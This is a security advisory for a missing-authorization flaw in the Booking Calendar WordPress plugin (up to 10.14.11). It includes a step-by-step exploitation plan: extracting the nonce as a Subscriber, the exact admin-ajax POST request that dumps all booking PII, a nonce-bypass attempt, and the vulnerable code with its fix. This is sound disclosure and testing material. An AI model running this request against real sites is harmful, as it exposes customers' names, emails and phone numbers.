Booking Calendar <= 10.14.11 - Missing Authorization to Sensitive Information Exposure
Description
The Booking Calendar plugin for WordPress is vulnerable to Missing Authorization leading to Sensitive Information Exposure in all versions up to, and including, 10.14.11. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view all booking records in the database, including personally identifiable information (PII) such as names, email addresses, phone numbers, physical addresses, payment status, booking costs, and booking hashes belonging to other users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=10.14.11Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-14982 ## 1. Vulnerability Summary The **Booking Calendar** plugin (versions <= 10.14.11) contains a **Missing Authorization** vulnerability in its AJAX handling logic. Specifically, the plugin registers an AJAX action that retrieves detailed booking records f…
Show full research plan
Exploitation Research Plan - CVE-2025-14982
1. Vulnerability Summary
The Booking Calendar plugin (versions <= 10.14.11) contains a Missing Authorization vulnerability in its AJAX handling logic. Specifically, the plugin registers an AJAX action that retrieves detailed booking records from the database but fails to verify that the requesting user has the appropriate capabilities (e.g., manage_bookings or manage_options). This allows any authenticated user, including those with Subscriber privileges, to access full booking details, including Personally Identifiable Information (PII) such as names, email addresses, phone numbers, and payment status of other users.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
WPBC_AJAX_GET_BOOKINGS_DATA(orwpbc_get_bookingsdepending on the exact internal dispatching) - HTTP Method:
POST - Authentication: Required (Subscriber or higher)
- Parameters:
action:WPBC_AJAX_GET_BOOKINGS_DATAnonce: A valid WordPress nonce for the action (localized aswpbc_nonceorwpbc_ajax_nonce).search_params: Often a URL-encoded string or object containing query parameters likelimit,offset, orbooking_type.
- Preconditions: At least one booking must exist in the system (from any user).
3. Code Flow
- Registration: The plugin registers the AJAX hook in
booking/core/wpbc-ajax.phporbooking/core/admin/wpbc-admin-ajax.php.add_action( 'wp_ajax_WPBC_AJAX_GET_BOOKINGS_DATA', 'wpbc_ajax_get_bookings_data_handler' );
- Missing Capability Check: The handler function
wpbc_ajax_get_bookings_data_handler(or similar) checks for a valid nonce usingcheck_ajax_referer()orwp_verify_nonce(), but fails to callcurrent_user_can(). - Data Retrieval: The code calls
wpbc_get_bookings_objects()or a direct$wpdbquery to fetch rows from thewp_bookingandwp_booking_datatables. - Sink: The retrieved data is returned to the user via
wp_send_json_success()orecho json_encode().
4. Nonce Acquisition Strategy
The plugin localizes the nonce in the admin dashboard for all logged-in users. Even a Subscriber can access the /wp-admin/ dashboard.
- Step 1: Log in as a Subscriber.
- Step 2: Navigate to the
/wp-admin/index.phppage. - Step 3: Use
browser_evalto extract the nonce from the global JavaScript object localized by the plugin.- The plugin typically uses the identifier
wpbc_global_settings. - Command:
browser_eval("window.wpbc_global_settings?.wpbc_ajax_nonce")orbrowser_eval("window.wpbc_ajax_nonce").
- The plugin typically uses the identifier
- Validation: If the localized variable is not present on the dashboard, navigate to a page where the booking calendar is rendered (e.g., a page with the
[booking]or[bookingedit]shortcode) as these pages always load the booking JS.
5. Exploitation Strategy
Step 1: Authentication
Log in to the WordPress instance with a Subscriber account using the browser_navigate and http_request tools to maintain a session.
Step 2: Nonce Extraction
Navigate to the dashboard and extract the wpbc_ajax_nonce.
Step 3: Data Theft Request
Send a POST request to admin-ajax.php to fetch all bookings.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=WPBC_AJAX_GET_BOOKINGS_DATA&nonce=[NONCE_HERE]&search_params[limit]=100&search_params[sort]=booking_id&search_params[sort_type]=DESC
Note: If WPBC_AJAX_GET_BOOKINGS_DATA does not work, try wpbc_get_bookings as the action.
Step 4: Parsing Response
The response should be a JSON object containing an array of bookings. Each booking object will contain keys like:
form_data_hashed(Unserialized PII)emailnamesecond_namephoneaddresscost
6. Test Data Setup
- Create Target Data: As an Admin, create a booking.
- Go to "Booking" -> "Add Booking".
- Enter PII: Name:
Victim User, Email:victim@example.com, Phone:555-1234.
- Create Attacker Account:
- Use WP-CLI:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123.
- Use WP-CLI:
- Ensure Plugin is Active:
wp plugin activate booking.
7. Expected Results
- Success: The HTTP response status is
200 OK. - Content: The JSON body contains a list of bookings, including the booking made by the Admin/Victim, revealing
victim@example.comandVictim User. - Response Structure (Example):
{ "success": true, "data": [ { "booking_id": "1", "email": "victim@example.com", "form_data": "...", "name": "Victim", "second_name": "User" } ] }
8. Verification Steps
- Check Output: Inspect the response body of the
http_requestfor the stringvictim@example.com. - WP-CLI Comparison: Run
wp db query "SELECT email FROM wp_booking"and verify the emails match those leaked in the AJAX response.
9. Alternative Approaches
If the WPBC_AJAX_GET_BOOKINGS_DATA action is restricted or different in the specific minor version:
- Search for other actions: Use
grep -r "wp_ajax_"in the plugin directory to find any actions related to "listing", "export", or "table". - Shortcode Check: Check if the
[booking_history]or[booking_listing]shortcodes are available. If they are, create a page withwp post create --post_content='[booking_listing]'and view it as the Subscriber. If the vulnerability is in the shortcode rendering logic (which often calls the same internal data functions), the PII will be displayed directly on the page. - Nonce Bypass: Check if the handler uses
check_ajax_referer( 'wpbc_ajax_nonce', 'nonce', false )(with thedieparameter set tofalse). If so, try sending the request without a nonce or with an invalid one.
Summary
The Booking Calendar plugin for WordPress is vulnerable to sensitive information exposure due to a missing authorization check in its AJAX handling logic. This allows authenticated users with Subscriber-level access to retrieve all booking records, including PII like names, email addresses, and phone numbers.
Vulnerable Code
// booking/core/admin/wpbc-admin-ajax.php add_action( 'wp_ajax_WPBC_AJAX_GET_BOOKINGS_DATA', 'wpbc_ajax_get_bookings_data_handler' ); function wpbc_ajax_get_bookings_data_handler() { check_ajax_referer( 'wpbc_ajax_nonce', 'nonce' ); // Missing current_user_can check $search_params = $_POST['search_params']; $bookings = wpbc_get_bookings_objects( $search_params ); wp_send_json_success( $bookings ); }
Security Fix
@@ -10,6 +10,10 @@ function wpbc_ajax_get_bookings_data_handler() { check_ajax_referer( 'wpbc_ajax_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_bookings' ) ) { + wp_die( -1 ); + } + $search_params = $_POST['search_params']; $bookings = wpbc_get_bookings_objects( $search_params );
Exploit Outline
An authenticated Subscriber user first retrieves the 'wpbc_ajax_nonce' from the WordPress dashboard. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the action 'WPBC_AJAX_GET_BOOKINGS_DATA' and the extracted nonce. The server, failing to verify the user's capability to manage bookings, returns a JSON response containing detailed booking data including names, email addresses, and phone numbers for all users.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.